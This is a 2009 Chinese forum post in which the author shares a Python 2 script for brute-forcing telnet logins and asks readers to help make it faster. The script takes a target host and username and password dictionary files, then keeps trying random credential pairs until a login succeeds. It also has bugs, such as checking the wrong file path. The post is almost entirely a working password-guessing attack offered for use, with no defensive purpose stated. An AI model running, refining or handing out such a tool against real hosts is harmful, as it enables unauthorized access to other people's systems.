写的一个小脚本,crack telnet的,大家帮忙改进下 作者:2er发表于2009-07-01 15:11:09
[font=Trebuchet MS]#!/usr/bin/python[/font]
[font=Trebuchet MS]#simple telnet cracker
#not so good,want to be better :-)
#call for help
[/font]
[font=Trebuchet MS]import telnetlib,sys,os,re,random[/font]
[font=Trebuchet MS]def usage():[/font]
[font=Trebuchet MS] print'*********************************************'[/font]
[font=Trebuchet MS] print'usage: tw0.py target '[/font]
[font=Trebuchet MS] print'*********************************************'[/font]
[font=Trebuchet MS] print'================================'[/font]
[font=Trebuchet MS]def tw0(*tup):[/font]
[font=Trebuchet MS] try :[/font]
[font=Trebuchet MS] telnet=telnetlib.Telnet(str(target))[/font]
[font=Trebuchet MS] except:[/font]
[font=Trebuchet MS] print 'something wrong....'[/font]
[font=Trebuchet MS] sys.exit(1)[/font]
[font=Trebuchet MS] telnet.read_until('Username: ') [/font]#具体的要看服务器的提示是Username: 还是Login:之类的
[font=Trebuchet MS] telnet.write(tup[0])[/font]
[font=Trebuchet MS] telnet.read_until('Password: ') #同上也要看具体的服务器的提示的[/font]
[font=Trebuchet MS] telnet.write(tup[1])[/font]
[font=Trebuchet MS] telnet.write('cls\n')[/font]
[font=Trebuchet MS] if re.search('Username: ',telnet.read_all())==None:[/font]
[font=Trebuchet MS] return (tup,1)[/font]
[font=Trebuchet MS] else:[/font]
[font=Trebuchet MS] return (tup,0)[/font]
[font=Trebuchet MS]def main():[/font]
[font=Trebuchet MS] while True:[/font]
[font=Trebuchet MS] print 'reached '+str(target)[/font]
[font=Trebuchet MS] for j in range(0,3):[/font]
[font=Trebuchet MS] j+=1[/font]
[font=Trebuchet MS] nm=fn[random.randint(0,len(fn)-1)][/font]
[font=Trebuchet MS] pwd=fp[random.randint(0,len(fp)-1)][/font]
[font=Trebuchet MS] tup=(nm,pwd)[/font]
[font=Trebuchet MS] result=tw0(*tup)[/font]
[font=Trebuchet MS] if not result[1]:[/font]
[font=Trebuchet MS] print 'failed '+str(result[0])[/font]
[font=Trebuchet MS] continue[/font]
[font=Trebuchet MS] else:[/font]
[font=Trebuchet MS] print 'success '+str(result[0])[/font]
[font=Trebuchet MS] sys.exit(2)[/font]
[font=Trebuchet MS] continue[/font]
[font=Trebuchet MS]if __name__ == '__main__':[/font]
[font=Trebuchet MS] try:[/font]
[font=Trebuchet MS] target=sys.argv[1][/font]
[font=Trebuchet MS] except:[/font]
[font=Trebuchet MS] usage()[/font]
[font=Trebuchet MS] sys.exit(3)[/font]
[font=Trebuchet MS] while True:[/font]
[font=Trebuchet MS] x=raw_input('enter your dictionary of username: ')[/font]
[font=Trebuchet MS] if os.path.isfile(x):[/font]
[font=Trebuchet MS] break[/font]
[font=Trebuchet MS] else:[/font]
[font=Trebuchet MS] print 'wrong file address,again...'[/font]
[font=Trebuchet MS] continue[/font]
[font=Trebuchet MS] while True:[/font]
[font=Trebuchet MS] y=raw_input('enter your dictionary of password: ')[/font]
[font=Trebuchet MS] if os.path.isfile(x):[/font]
[font=Trebuchet MS] break[/font]
[font=Trebuchet MS] else:[/font]
[font=Trebuchet MS] print 'wrong file address,again...'[/font]
[font=Trebuchet MS] continue[/font]
[font=Trebuchet MS] fn=open(x).readlines()[/font]
[font=Trebuchet MS] fp=open(y).readlines()[/font]
[font=Trebuchet MS] main()[/font]
需要字典文件,运行不理想.......crack的很慢,大家帮忙改进下...
:)
#可以从算法整体也可以改局部的
#个人的测试结果主要是在read_until('Password: ')那慢下来的.....
